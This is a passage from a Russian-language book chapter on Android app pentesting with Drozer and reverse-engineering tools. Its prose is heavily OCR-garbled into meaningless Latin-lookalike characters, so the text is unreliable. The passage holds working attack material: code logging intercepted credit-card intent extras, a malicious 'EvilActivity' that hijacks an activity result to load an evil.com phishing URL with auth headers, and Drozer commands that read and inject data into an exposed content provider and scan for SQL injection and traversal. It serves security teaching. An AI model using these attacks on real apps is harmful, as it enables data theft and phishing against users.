Log.d("evil", "Number: " + getIntent().getStringExtra("credit card number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder name"));

Byans! Ho ¢ noMolusto Drozer npoaenars Takoi Tprok elle MpoLue:

dz> run app.broadcast.sniff --action com.example.ACTION

Boo61ue, HHTeHTbl — CTaHAapTHBIA cnocod koMMyHHKaLUuH B Android kak BHYTpH MpH-
JIOXKEHHs, TaK W 3a ero npezaenamu. Mx MoxxHo ucrosnb3oBaTh, 4ToOBI MepenaBaTh WH-
¢dopMaLMIO MeX Iy aKTUBHOCTAMH, CEPBUCAMH H JTIOOBIMU IPYrMMH KOMIIOHEHTaMH MpH-
noxeHus. UHTeHTHl MoOryT OBITH agpecoBaHbl KOHKPETHOMY KOMIIOHEHTY WM ObITh
mMpokoBeLareNbHeIMU. [locnenHue MoryT ObITh MepexBayeHbl JTIOOBIM APYTHUM TPHIIO-
YKEHHEM, KaK B IPUMeEpE BhILIE.



Drozer u dpyaue uHcmpymeHmsi 143

TTepexsaT BO3BpALIAEMOrO 3HAYEHUS

B Android akTHBHOCTH MOryT BO3BpallaTh 3Ha4€HHsA. DTa BO3MOXKHOCTb HCIMOJB3YeTCH,
Hanpumep, B MHTepdetice BbiOopa doTorpaduu Ans oTnpaBku Apyry WIH B UHTepdeiice
BbIOOpa aiina. [IpunoxkeHHe MOXET 3aMyCTHTh CBOIO aKTHUBHOCTb MJIM aKTHBHOCTB JIIO-
6oro Apyroro NnpuiIoKeHHs (C MOMOILBIO IIHPOKOBELIATENBHOTO HHTEHTA), YTOObI MOJTY-
YUTh OT Hee Kakoe-TH0o 3HaueHne. Y eciu NpUiIoXkeHHe UCTMOb3yeT IHPOKOBELIATE N b-
Hbli HHTEHT IUIA 3amycka COOCTBEHHOM aKTHUBHOCTH, OyayT npobGiembl. Bo3bmem,
K MPUMeEpY, CIeAYIOLHH KOA:

TR

startActivityForResult (new Intent ("com.example.PICK"), 1337);

protected void onActivityResult (int requestCode, int resultCode, Intent data) {
super.onActivityResult (requestCode, resultCode, data);
if (requestCode == 1337 && resultCode == 1) {
webView.loadUrl (data.getStringExtra ("url"), getAuthHeaders());

DTO KO 3amycka aKTHBHOCTH C MOMOILLBIO HHTEHTA com. example.PICK. 3HaU€HHE, BO3Bpa-
IIEHHOE 3TO# aKTHBHOCTHIO, Ucnosb3yercs kak URL mis oTkpbiTHS BeO-CTpaHHULIbI BHYT-
pu WebView. OueBHIHO, YTO B JaHHOM NPUMEPE HHTEHT com. example . PICK HCMOJb3yETCA
JUIA 3amycka COOCTBEHHOM aKTHBHOCTHM MPHJIOXKEHHA, OAHAKO, KaKk U B NpeablayLleM
npuMepe, pa3pabOTUMK HCMONAB30BaN Ul 3aMycka LIMPOKOBEIUATENbHbI HHTEHT.
[ToaTroMy MBI MOXeM co3aTh COOCTBEHHYIO aKTHBHOCTb M HCIOJb30BaTh €€ Ui TOrO,
4ToOBI MEpeHanpaBUTh NMPUIOKEHHE Ha (PUILIHHIOBBIN BeO-CaMT:

<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity> '

java

protected void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setResult (1, new Intent().putExtra("url", "http://evil.com/"));
finish();
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[1InpokoBeLaTeIbHbIE HHTEHTHI TaKoke HCTIOJB3YIOTCS MPHIOKEHHAMH UTA BeiOOpa daii-
noB. B 3TOM cnyyae ¢ MOMOLIBIO (DHIIWHIOBOM AKTHBHOCTH MOXKHO BBITIOJIHHTB aTaKy
thna directory traversal.

Content Provider

Content Provider — 3T0 cneunanbHbIi KOMIIOHEHT INPHIOXKEHHS, OTBETCTBEHHBIH 3a
XpaHEHHE AaHHBIX W MpPEIOCTABIEHHE AOCTYNA K 3TUM JaHHBIM JPYTMM INPUJIOKEHHAM.
B crapeie Bpemena (1o Android 4.0) pa3pabotumnku yacto genanu ContentProvider'st ot-
KPBITBIMH AJIS JOCTyNa JMoObIM npuiaokeHUusM. Hanpumep, oduuunanbHoe npuiioxeHue
Gmail umeno otkpeiTeiii ContentProvider, npemoctaBnstomuii JOCTYN K CIUCKY MTHCEM.
370 MO3BONANO JIOOOMY CTOPOHHEMY MPUJIOKEHHIO MOTYYHTh CITUCOK MOCIEAHHX MTHCEM
Gmail myTeM nMpsAMOro YreHHs JaHHBIX W3 OQHLIMATIBHOTO MPHIOKEHHUS.

Cer OJIHA TaKoOH noaxon CYHNTacTca HAaUMBHBIM H HeOe30IMacHbBIM. HO3TOMy BC€, YTO HaA CEC-
FONHALUHUNA JEHb MPEAOCTaBIsAEeT Hapyxy npuiokeHue Gmail, — 310 obee konuvecT-
BO HEIPOYHUTAHHBIX ITMCEM, H OaXKE€ I3Ta HH(i)OpMal.lHﬂ 3allMIICHa CIICUHaJIbHBIM paspe-
weHueM. B 3ToM nerko yGCﬂHTLCﬂ, €CJIM IIONbITATBCA MNMPOYHTATh AdaHHBIE I1O URI
content://com.google.android.gmail.provider:

dz> run app.provider.query content://com.google.android.gmail.provider/

Permission Denial: opening provider com.android.email.provider.EmailProvider
from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0ad22} (pid=15638, uid=10422)
requires com.google.android.gm.email.permission.ACCESS_PROVIDER or
com.google.android.gm.email.permission.ACCESS_PROVIDER

Ho B npyrux npuiioxeHHsX Bce MOXeT ObiTh HHaye. BepHeMmcs k mpunoxenuto DIVA
 nonpobyem nonyyuts HHGopMaHio o ero ContentProvider'ax:

dz> run app.provider.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
Authority: jakhar.aseem.diva.provider.notesprovider

Read Permission: null
Write Permission: null
Content Provider: jakhar.aseem.diva.NotesProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

BuaHo, 4To MpUIOXKEHHE UMEET OAMH HHUKak He 3aumieHHbd ContentProvider. [Tomy-
yuM HHGopMauio 06 sxcrioptupyeMseix ContentProvider'om URI:

dz> run scanner.provider.finduris -a jakhar.aseem.diva

Scanning jakhar.aseem.diva...

Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/
Unable to Query content://jakhar.aseem.diva.provider.notesprovider

Unable to Query content://jakhar.aseem.diva.provider.notesprovider/

Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes

Accessible content URIs:
content://jakhar.aseem.diva.provider.notesprovider/notes/
content://jakhar.aseem.diva.provider.notesprovider/notes
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ITonpobyem npouuTath HHPOpMalMio o npueeaeHHsIM URI:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
id | title | note

| [
k5 | Exercise | Alternate days running

| 4 | Expense Spent too much on home theater

| 6 | Weekend b333333333333r |
{» 3 | holiday Either Goa or Amsterdam

| 2 | home | Buy toys for baby, Order dinner

| 1 | office 10 Meetings. 5 Calls. Lunch with CEO |

ContentProvider, no cyTH, oTkpbiBaeT npsAMoii 1ocTymn k 6aze qaHHbIX npuiokeHus. [1o-
3TOMY, €CJIH OH OTKPBIT [UIS YTEHHS U 3aMHCH, MBI JIETKO MOXXeM 100aBUTb B Hero cobet-
BEHHbIE IaHHbIE:

dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes
--integer _id 7
--string title bhv.ru
--string note 'Hi from ][’

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/

| 7 | bhv.ru | Hi from ][ |

B psane cnyyaeB Bo3MoxHO BINMONMHUTE SQL-uHBekmio. Drozer cnocobeH aBToMaTHye-
CKH MPOBEPHTH MPUIIOKEHHE Ha ITY YSI3BUMOCTD:

dz> run scanner.provider.injection -a com.example.app

Hekoropsie npunoxxenus ucrnons3yrot ContentProvider'sl 1518 OTKpbITHS JocTyna K daii-
J1aM CBOEro MpWBATHOro karajora. B 3ToM ciiyyae WHOria BO3MOXKHO BBIMOJIHUTH aTaKy
directory traversal. Drozer no3BosiseT NpoBepHUTh U 3TOT BAPHAHT:

dz> run scanner.provider.traversal -a com.example.app

Cepsucht

Elue ofHH THIT KOMNOHEHTOB MpHyioXkeHus B Android — cepeuchl. Yare Bcero oHM Mc-
NOJB3YIOTCS AJI BHIMOJIHEHHs paboThl B (hOHE M B cOBpeMeHHbIX Bepcusx Android o6s-
3aHbl HUMETh HKOHKY B CTPOKE COCTOSIHHS (MHauye cucTeMa yObeT CepBHC uepe3 5 MHHYT).
V npunoxenus DIVA HeT cepBHCOB, 3TO JIErKO MPOBEPHTH, HCIONb3Ys TAKYK KOMaHLY:

dz> run app.service.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No exported services.

Ho nake npuioXeHHs ¢ TOpYaLMM Hapy>Ky CEPBHCOM JKCIUTyaTHPOBaTh He TaK MPOCTO.
CHauvana HeoOXoOMMO qu3acceMOIHMPOBATH/ JEKOMITHIIHPOBATh MPHIIOKEHHE, MpOaHaJH-
3MpOBaTh KOJ CepBHca, a 3aTeM MompoOoBaTh MociaTh €My COOOLIeHHe, KOTOpoe OH
noiiMer U obpabortaer. Hanpumep, THNHYHBIA MpUMep OTMpPAaBKH COOOLIEHHS CEPBHUCY
MOXET BBIMNISAETD TaK:
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dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.RAuthService --msg
6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-
as-obj

Hpyrue sosmoxHocTu

Kpartko npo#inemcs no apyrum Bo3MoxkHocTM Drozer. OtobpakeHue MaHHudecTa npH-
JIOXKEHHS:

dz> run app.package.manifest com.mwr.example.sieve

ITouck nppmoxceﬂuﬁ, obyagarolux YKa3aHHbIMH IIPHBHJIETUAMH:

dz> run app.package.list -p android.permission.INSTALL PACKAGES

[MTouck npunoxxeHu#, cnoco6HbIX 0ToOpaxcath (aiiibl ¢ ykazaHHBIM mimetype:

dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype
application/pdf

ITouck Bcex npvmoxcel-mﬁ, CITOCOOHBIX OTKpPbIBATb CCBIIIKH:

dz> run scanner.activity.browsable

OT06pa)KeHHe CIMCKA HATHUBHBIX OMOIHOTEK TMPHIIOXKEHHUA

dz> run app.package.native jakhar.aseem.diva

OTHpaBKa HIHUPOKOBEIIATEIBHBIX HHTEHTOB!

dz> run app.broadcast.send --action com.exmpla.PICK ——extra string url https://example.com

Hpyrue ysassumoctu

Kakue euie npobieMsl U yI3BUMOCTH MOXKHO HaHTH B npuioxeHusx? Mx MHoxecTBo,
aBTopel pabotbl Security Code Smells in Android ICC (https://arxiv.org/pdf/
1811.12713.pdf) cocraBunu noapoOHbIH cUcok Takux mpobneM. Onu B3smu 700 oTKpeI-
TBHIX NpUIIOXKeHHUH u3 penozutopus F-Droid (https://f-droid.org/en/) u npoananu3uposa-
JM WX C TMoMolbl creuuansHoro WHcrpymeHta  AndroidLintSecurityChecks
(https://github.com/pgadient/AndroidLintSecurityChecks). Bce o6Hapy>xeHHbIE Mpo-
G11eMbl CKOMIIOHOBaHBI B 12 KaTeropu:

O SMO!: Persisted Dynamic Permission. B Android ecTb MexaHH3M, IO3BOJIAIOLLHM
NpPeIOCTaBUTh JPYroMy MPHIOKEHHIO BpeMEHHbIH JocTyn K kakoMy-in6o URI cBo-
ero ContentProvider’a. 3to genaercs ¢ mOMOLIBIO METOAA Context.grantUriPermission().
Ecin npuioxkeHHe BHI3BIBAET €ro, HO HE BBI3BIBAET Context.revokeUriPermission(),
4TOOBI OTO3BATh JOCTYII, €CTh MPOOIEMBI.

O SMO02: Custom Scheme Channel. Jlroboe nNpUioxeHHe MOXET 3aperHCTPHPOBAThH COO-
crBeHHy1o URI-cxeMy, Takyro kak myapp://, BHE 3aBUCUMOCTH OT TOTO, HUCIIOJIB3YET JIH
TaKylo cxeMmy Jpyroe npuioxeHue. Kak cnencrsue, nepecsuiaTh BaXkKHbIE JaHHBIE,
ucnonb3ys kactoMHbeie URI-cxeMbl, kpaiiHe HeGe30macHo.



Drozer u pyaue uHCmpymeHms! 147

3 SMO03: Incorrect Protection Level. B Android ectb cuctema paspelueHuii, u odoe
MPUIIOKEHHE MOXKET CO31aTh CBOE COOCTBEHHOE pa3spelleHHe AJs JOCTyMa K CBOMM
naHHbIM. Ho ecth nmpobiema: ecnM yka3aTh HEMpaBHIbHBIH ypOBEHb 3alUMTHI pa3pe-
weHus (protection level), oHo MoxxeT He cpaboTate. Eciiu pa3paboTuuk Xo4eT, 4TOoOBI
MOJIb30BaTeNb BHEN AMANIOr 3ampoca pa3pelieHHH, OH JOJDKEH HCIOJb30BaTh Ypo-
BEHb 3alUThl dangerous WIM siganture, €ClIM JaHHOE pa3pelleHHe JOJDKHO MOJTyYaTh
TOJIBKO MPUIIOXKEHHE C TOM ke LH(POBOH MOAMHUCHIO.

O SM04: Unauthorized Intent. Jlroboe npunoxeHre B Android MoxeT 3aperucTpupo-
BaTh ce0 B KauecTBe oOpaboTyMka OmpeleneHHBIX THIOB HHTeHTOB (intent). Ilo
YMOJTYaHHIO 3TOT 00paboTuHk OyneT OTKPBIT BCEMY MHPY, HO €r0 MOXHO 3aLIMTHTh
C MOMOLLBIO CHCTEMBI pa3peLleHHi U CTPOroii BalWaLWH BXOJHBIX IaHHBIX.

3 SMO5: Sticky Broadcast. JTroboe npuioXxeHHe MOXET MOCNIATh APYroMy MPHIIOKEHHIO
MHTEeHT. bonee TOoro, 0HO MOXeT MocnaTh LUHMPOKOBEIIATENbHBIH HHTEHT Cpa3y BCeM
NIPUJIOKEHHUAM, U OH OyzeT oOpaboTaH rnepBbIM MPUIOKEHHEM, CTOCOOHBIM €ro MpH-
HATb. Ho ecTh Taloke BO3MOXKHOCTB MOCTIaTh LIMPOKOBELIATeNbHbIH sticky-intent, ko-
TOpBIH nocne 06paboTkH OJHHUM TMPUIIOKEHHEM BCe paBHO OyHeT IOCTaBJEH ApYTrHM
NpUIokKeHUAM. YToOBI 3TOro He MPOUCXOMIIO, HE CTOMT HUCIONB30BaTh TaKHe HHTEH-
ThI, a LIMPOKOBEILATENbHBIE HHTEHTHI JIy4llle He UCIOJIb30BaTh BOOOILE.

3 SMO06: Slack WebViewClient. KomnonenT WebView Mo3BoJiseT MpUIOKEHHSIM MOKa-
3bIBaTh BeO-CTpaHMLBI BHYTpH cBoero HHTepdeiica. Ilo yMonuaHuio OH HHKak He
¢uneTpyer oTkpeiBaeMble URL, 4yeM MOXHO BOCMOJIB30BaThCs, Hampumep, Ui
¢uwmHra. PazpaborunkaM CTOMT JIMOO HCMONIB30BaTh OENbIN CITHUCOK aJpecoB, JTHO0
BBITOJHATH MPOBepKy ¢ nomMoiueto SafetyNet API.

O SMO07: Broken Service Permission. llpunoxxeHHs MOTYT NpPEAOCTABIATH IOOCTYI
K cBoeH (DYHKLMOHAIBHOCTH C TMOMOIUBIO CEPBHCOB. 3JIOYMBILLIEHHHK MOXET HC-
MOJIb30BATh 3TY BO3MOXKHOCTB JUIS 3alycka KOJa C MOBBILIEHHBIMH TMOJIHOMOYHAMHU
(monHOMoumusAMH cepBHca). YTtoObl 3TOrOo M30exkarh, CEPBUC JODKEH MPOBEPATH
MOJIHOMOYMS  BBI3BIBAIOLIEr0 MPHJIOXKEHHS C [OMOLIBIO MeTola  Context.

checkCallingPermission().

O SMO8: Insecure Path Permission. HexoTopble NMPHIOKEHHS NMPEIOCTABIAIOT JOCTYII
K CBOMM JaHHbIM ¢ nomoubio ContentProvider’a, koTopblii anpecyeT AaHHEIE,
ucrons3ys UNIX-nmonoGHble myTH: /a/b/c. IIporpaMMHCT MOXET OTKPBITH JOCTYI
k cBoemy ContentProvider’y, HoO oTpe3aTh AOCTYN K HEKOTOPBIM MyTSM (Harmpumep,
K /data/secret). Ho ectb mpobnema: pa3paGOTHUHKH 4YAaCTO HCIMOJB3YIOT Kilacce
UriMatcher IJiS CpaBHEHHS MyTel, a oH, B ominune oT Android, cpaBHHBaeT ux 0e3
yueTta ABOHHBIX ciewed. OTciona MOryT BO3HUKHYTh OLIMOKH MU pa3pelleHHH U 3a-
npeTe J0CTyma.

O SMO0Y: Broken Path Permission Precedence. CxonHas ¢ npeasiayei npodnema. Ipu
omucanuu ContentProvider’a B Manudecte pa3paboTuMK MOXET yKa3aTh, Kakue pas-
peLIeHUs HY>KHBI MPUJIOKEHHIO IS IOCTYyMNa K onpezaeneHHsM nmyTsaM. Ho B Android
ecTh Oar, u3-3a 4ero OH OTAAeT npeanouyTeHne dosee riaodansHEIM myTaM. Hampumep,
eciTM MPHJIOKEHHE JaeT A0CTYMN K /data BCEM MOMAPSM, HO HCIHONB3YeT CHeLHaIbHOe
paspelieHHe Ui IOCTyNa K /data/secret, TO B MTOTr€ JOCTYI K /data/secret CMOTYT
TMOJIy4HTb BCE.
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O SMI0: Unprotected Broadcast Receiver. ®akTtnyecku aHanor npo6nemsi SM04, Ho
pacnpocTpaHAIOLIMiCA HCKIIOYMTENbHO Ha BroadcastReceiver’si (cnenmanbHbie 06-
pabOTYMKH HHTEHTOB).

O SM11: Implicit Pending Intent. Kpome uHTeHTOB, B Android ecTh CylHOCTh MOA Ha-
3paHueM Pendingintent. 3To cBoero poma OTNOXKEHHBIE HHTEHThI, KOTOPbIE MOTYT
ObITh OTNpaBlieHbl MO3KE H Aaxe APYTHM TNPHIOKEHHEM OT MMEHH CO3JaBIUEro
uHTeHT npwioxeHus. Ecnn Pendinglntent wmpokoBewmarensHeiii, To Moboe npuio-
JKEHHE CMOXKET MEPEXBATHTh €r0 U MOCJIAaTh HHTEHT OT HMEHH 3TOTO NMPHJIOKEHHSA.

O SM12: Common Task Affinity. Avanor npo6nemsi StrandHogg.

Hackonbko akTyanbHbl M pacrpoCTpaHEeHbl Mepe4YMcIIeHHbIe Bhillle MpobieMsl (Mo MHe-
Hulo aBTopoB MccnenoBawms Security Code Smells in Android ICC), noka3siBaer aua-
rpamma Ha puc. 11.2.
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Puc. 11.2. O6wan pacnpoCcTpaHBHHOCTL oWKHGOK

B ynomsaHyToi#i pa6oTe Taloke NMPHBOAMTCA MHOXECTBO aHAIMTHYECKHX JaHHbIX. Hanpu-
Mep, COIJIaCHO CTaTHCTHKE, B HOBBIX MPHJIOXKEHHAX MEHBILE JBIP, YeM B CTapbiX. bonbLue
IbIp Taloke OOHapyKMBaeTcA B MNPHJIOXKEHHMSAX, KOTOphie pa3pabathiBaioT Gonee nATH
yenoBek. Hy H, koHe4Ho e, 6onbllee KOMHYECTBO KOJa O3Ha4YaeT Gosbllee KOMHYECTBO
YA3BHMOCTEHM.

[MpuMepsl owmmbok Taloke MOXHO HaiTH B peno3uTopuu android-app-vulnerability-
benchmarks (https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/
overview). OH cOepXKHUT UCXOAHUKH MPHIOKEHHI C Pa3IMYHBIMH YA3BUMOCTAMH, KaX-
JI0€ U3 KOTOPBIX CHabXeHO MOAPOOHBIM OMHMCaHHEM YS3BHMOCTH M MCIIpaBJIEHHOH Bep-
cHeii.
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Bursoaur

HecmoTps Ha mourteHHbIH Bo3pacTt, Drozer 10 cux mop crpapiseTcs co cBoed paboroii
Jyyllle MHOPMX OpYrMX HHCTpyMeHTOB. Ero siBHoe JOCTOMHCTBO — TEKCTOBBIH HHTEp-
deiic, MO3BONAIOWIMA C MOMOLIBIO KOMaH[ BbIMOJHHTD MHOTHE 3aJayH, A KOTOPBIX
B MMPOTHBHOM Cllyyae MpUUIIOCh Obl MUcaTth cobcTBeHHBIH codT. Henoctatok B TOM
e — He Bce cnocoOHbI mepeBapuTh Takol HHTepdeiic B 2023 roay.

HApyrue uHcTpymeHTHI

Yc0BHO Bce MHCTPYMEHTHI aHallM3a M peBepca NMpHIoXkeHHH (He Tonbko s Android)
MOXCHO pa3fesuTh Ha ABE IpyMmbl:

O craTuueckHii aHaIM3 — Jau3acceMOiepbl, JEKOMMUIATOPDI, 1e00dycKaTopbl U J0ObIe
Jpyrue yTHIHTbI, KOTOpble paboTaloT ¢ KOJOM, He 3amycKas ero;

0 nMHaMHUYeCKHUH aHaJIU3 — MHCTPYMEHTHI, C MOMOLLbIO KOTOPbIX MPHJIOKEHHE MOXHO
3aMyCTHTh Ha BUPTYaJIbHOM WMJIM peajbHOM YCTPOHCTBE M NMpPOaHaJIM3UPOBaTh €ro fno-
BEJIEHHE.

B ofeux rpynnax ecTb YTHJIMTBI M 1Sl CAMbIX MaJIeHbKHX (3aIyCTHJI — MOJYYHJI CITUCOK
YS3BHUMOCTEH), U U1 MaTepbIX CrneLraaicToB. Mbl paccCMOTPUM HX BCE.

Cratudeckum aHanus

HUrak, nns Hayana noroBopuMm o6 MHCTpYMEHTax ctaTHyeckoro aHanuza. Kaxabiit neH-
TECTEP M peBEPC-HHXKEHEP NOKEH UMETb B CBOEM apceHase XoTs Obl ABa W3 HHX. DTO
JEKOMIUIIATOP W Au3acceMbiep.

HexoMnunsatop HyxxeH, yToObl neperHats 6aiit-kon Dalvik obpatHo B kon Java u ¢ ero
noMolnbo pazobparbes, kak paboraer npuioxkeHue. [usaccembnep TpaHcnupyer Gaidt-
KoJ B ropasio 6onee HU3KOYpoBHeBbIH koa Smali, B koTOpoM TpyaHee pa3oOpaTbcs, HO
3aTO OH BCErJa KOPPEKTEH HACTOJIbKO, YTO €ro MOXKHO cobpaTh 06paTHO B MPHIIOKEHHE.
310t 0c00EHHOCTBIO MOXHO BOCMOJIb30BATLCS, HAMPUMEP, YTOOBI BHEAPHTH B MPHJIOKE-
HUe coOCTBEHHbIN KO, Kak Mbl yrke oTo npoaenanu ¢ WhatsApp.

HekoTopble 13 OMMCaHHBIX UMHCTPYMEHTOB Mbl YK€ HCMOJIb30BAIM MPH BCKPBITHH NpH-
JIOXXEHHUH, ApYyrHe e MOTYT MPUIrOAUTHCS B UCKIIIOUMTEbHBIX CUTYaLHsX.

Jadx

[lepBbiii HHCTpyMeHT B HauweM crucke — aekomnuistop Jadx (https:/github.com/
skylot/jadx). DTO akTHBHO pa3BHMBAEMbIH OTKPBITHIH NEKOMMUAATOP, KOTOPbIH BbIIAET
JOCTaTOYHO HemjoXod kox Java Ha BbIxoae M Jaxe UMeeT QyHKUHMIO neobdyckauuu
xona. Pabortate ¢ HUM npocTo: 3anmyckaete Jadx-gui, ¢ ero momouusto BeiOupaete APK-
taiin npunoxeHUH U BUAWTE HEPAPXHIO MAKETOB U (PakIIbl ¢ HCXOHHUKAMH Ha Java.
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Jadx MoxeT pa60TaTb H B pEXKHUME KOMaHHOM CTPOKH. HanpuMep, cjieayrouas KoMmaHaa
AEKOMIMHUITUPYET NMPHUIIOKEHHUE example.apk U MOMECTHUT nonyquHLIﬁ KOO Java B katajor
out:

$ jadx -d out example.apk

Bonee Toro, Jadx MOXeT NOMOJHUTENBHO CreHepupoBaTh (ainbl build.gradle, YTOObI
MUCXOJHUKH MOXCHO ObL10 MMnopTupoBats B Android Studio:

$ jadx -e -d out example.apk

Cobpatb mpuiioXKeHHE W3 HMX HE MOJYYMTCs, 3aTO aHAJIM3MpOBaTh KoA OyaeT ropasuo
ynoOHee.

JEB

JEB — elue oavH MOLLHBIHA AeKOMUIATOp M Au3acceMbep ans Android-npuioxeHui, no
MHOrMM napameTpaM obxoasiwuii Jadx. JEB yMeer nekoMnuaupoBaTh He TOJIbKO OaHT-
kox Dalvik u Java, Ho u HaTtuBHbI# ko A Xx86 1 ARM. JEB Takke uMeeT BCTPOEHHBIH
OTJIaIYMK, MOLLHBIE CPEACTBA Ui peakTOPHHra M aHaau3a KoJa, a TaKkxke MOANEPXKKY
CKPHNTOB H TUIarMHOB (Hanpumep, AU aBTOMaTH4eckol aeobdyckalumu U paclindpoBKH
cTpok). Berpoennsiii B JEB nekoMnunsaTop B LesioM 6ojiee MOLIHBIH, YyeM B Jadx u apy-
rux MHcTpyMeHTax. OHaKko eCTb M OrpaHHYEHHE: LieHa, KoTopas HauuHaetcs ¢ 1000 non-
J1apoB B TOf1.

Apktool

Ewe oamMH yxe paccMOTpeHHbIi HaMH paHee HMHCTpyMeHT — 310 Apktool (https://
ibotpeaches.github.io/Apktool/). Ero HazHaueHne — pa3bopka u cOopka MpHIOKEHHH.
[Tpu 3TOM TEpMHH «pa3bopka» MojapazyMeBaeT AU3acceMOIHMpPOBaHHE KOAA MPHIOKEHHS
B aiiniel popmaTa Smali, a TakxkKe IEKOMNPECCHIO pecypcoB U ¢aiina AndroidManifest.xml.

APKiD

Ota Hebonbluas yTHIMTA MOHAJOOMTCS BaM, KOTAa Bbl 3aMeTHTe, 4To Jadx He B cocTos-
HHMM JEKOMIMUIMPOBATh NMpUIIOXkeHHE. B G0NbLIMHCTBE ciyyaeB 3TO 3HAYMT, YTO MPHIIO-
*eHHe ObL10 00QyCLIMPOBaHO MK YNAaKOBAHO C MOMOLUBIO CMIELMATbHBIX HHCTPYMEHTOB.
APKiD (https://github.com/rednaga/APKiD) no3sonser y3HaTh, kakue KOHKPETHO
MHCTPYMEHTbI OBUIM HCMOJIb30BaHbl, BBIACHWTH, OBUIO JIM TNMpPHIIOXKEHHE mnepecobpaHo
¢ nomolubio Apktool M MCNONB3YIOTCSA M B HEM KaKHe-TO APYTHMe TEXHWUKH AJS 3aLLMThl
OT au3acceMOIMpOBaHHS/AEKOMITUIIALIMM U 3aMycKa B BUPTYaJlbHOH MalIMHe.

APKiD paneko He Bceraa paboTaeT KOPpPEKTHO, a B HEKOTOPBIX CJIyyasX BOOOLUE HE Bbi-
BOJAUT HUKaKOH nmbopmauun Ha 3KpaH. Ho oH MoxeT NMOMO4b, €CJIH Bbl B TYITHKE. Bbri-
BOJ YTHJIUTBI MOHSATHBIN; HanpuMep, anti debug : Debug.isDebuggerConnected() check —
MPpOBEpPKa, MOAKIKOYEH JIH ue6arrep C NOMOLIBKO MeETOHA isDebuggerConnected. 2007
anti vm : Build.MANUFACTURER check — MpOBEpKa MPOM3BOAMTENS CMapTdOHA C LIENbIO
MOHATH, YTO HAXOAHULIBCA B BMpTyaJIbHOﬁ MallHHE.

Ho ectb 0qHO HeoveBHAHOE NoJie: compiler. OHO OOBIYHO COAEPHKHUT dx MM dexlib. DX —
craHaapTHbeiii komnuisaTop Android SDK, a dexlib — 3to 6ubaunoreka coopku daiinos
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DEX u3 Apktool. IIpowie roBops, eciiu B noine compiler HAXOAUTCA dexlib, 3HAYMT, MPH-
JoxeHHe ObL1o mepecobpaHo ¢ nmomoubio Apktool MaM aHaNIOrMYHOro HMHCTpYMEHTa
(puc. 11.3).

~/Dropbox/ApkReverse/APKi0/docker

/docker

ﬁ')Dropbox/ﬂpkﬁeverse/ﬂﬁx1D/docker

Puc. 11.3. PeaynbTaT paboTh APKID B 0THOWeHWH Heckonbkux o6pa3uoe Maneapu

Simplify

Yro, ecnu APKiD coobuiaetr o npuMeHeHnn 06¢yckaTopa, a MpH MOMbITKE H3YyYUTh KOA
Bbl CTaJKMBaeTeCh C 3alIM(POBaHHBIMH CTpokaMH? B 3TOM ciiyuae HyxeH neobdycka-
TOp, KOTOPBIH CMOXET caeaTh koA 6osee uMTaeMbiM. AGCOIOTHOE GONBLIMHCTBO 1€06-
¢dyckaTopoB, koTopbie Bbl Haiinete B UHTepHeTe, yMetoT 60pOThCS TONBKO C OXHHM HIIH
HECKOJIbKUMH 00¢yckaTopaMH, 3a4acTyI0 YCTapeBIUHX BEPCHH.

Simplify (https://github.com/CalebFenton/simplify) — yHuBepcansHbii neo6¢ycka-
Top. BMecTo Toro uTo6bl HckaTh B KOJ€ 3HaKOMbIE MaTTEPHbI, OH 3aMyCKAaeT KOA B BHp-

- TYaJIbHOH cpeie U JaeT eMy BO3MOXKHOCTB cZenaTh Bce caMoMy. B npouecce ucnonHeHus
Ko caM pacin¢pyeT 3alnpoBaHHbIE CTPOKH, YKaXET Ha MECTa, KOTOpble HUKOTAa He
6yayT ucnonHeHsl (06¢yckauus ¢ MOMOLUBIO MEPTBOrO KOJa) U YKaXKET Ha pealbHbIN
THN OOBEKTOB, MOJYYEHHBIX C MOMOLLUBIO pedieKCHH (a 3TO MO3BOJIMT BBIMOJIHHUTH Je-
peduiexcHio).

H3-3a ocobeHHOCTe# peann3aunn BUpTyanbHoit MawuHbl Simplify peako cnoco6eH nmpo-
aHaIM3HpOBaTh BCE NpHIOxkeHHe wuenukoM. IloaToMy ero cToMT Hcronb3oBaTh Uis
neob¢yckalmy OTAENbHBIX METOA M KJ1aCCOB (3TO MOXKHO CIIEIaTh C MOMOLLBIO ¢uiara -it):

$ java -jar simplify.jar -it 'org/cf/obfuscated' simplify/obfuscated-app.apk

De6Guard

Simplify nomMoxeT, ecnu nmpuiokeHue ObUIO MPOMyLUEHO uepe3 MOLUHbIA 00¢yckaTop.
OnHako 60JIBLIMHCTBO MPOrpaMMHUCTOB He 0OpeMeHsoT cebs MpuMeHeHHeM 4ero-to 6o-
Jiee CJIOXKHOro, yeM Bxoasaiwuii B coctaB Android Studio ProGuard. A ProGuard — 310
ONTHUMH3ATOpP, B KOTOpoM ¢YHKUMA 00¢dyckauun mosiBUnach kak nobGouHbld 3¢dexT.
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EaMHCTBEHHOE, YEM OH 3aMyTbIBae€T peBepcepbl, — 3TO M3MEHEHHbIE Ha 6eccMbICIEHHbIH
Habop OykB HMeHa KJlaccoB, METOZIOB U TMOJIEH.

Pa3obpatbca B 06¢ycurpoBaHHoM ¢ nomoliusio ProGuard koze He Tak Yy M CNOXKHO, HO
CJI0XKHee, 4YeM B COBCeM HeoO¢dycLMpoBaHHOM (B J1Ba pa3a CJIOXKHee, ECJIH BEPHTb Hcclle-
noBaHuaM). [Toatomy naxe nns ProGuard cywectByiot neo6gyckaropsi.

DeGuard (http://www.apk-deguard.com) — Hanbonee MHTepecHbIH M3 HHUX. 3TO Beb-
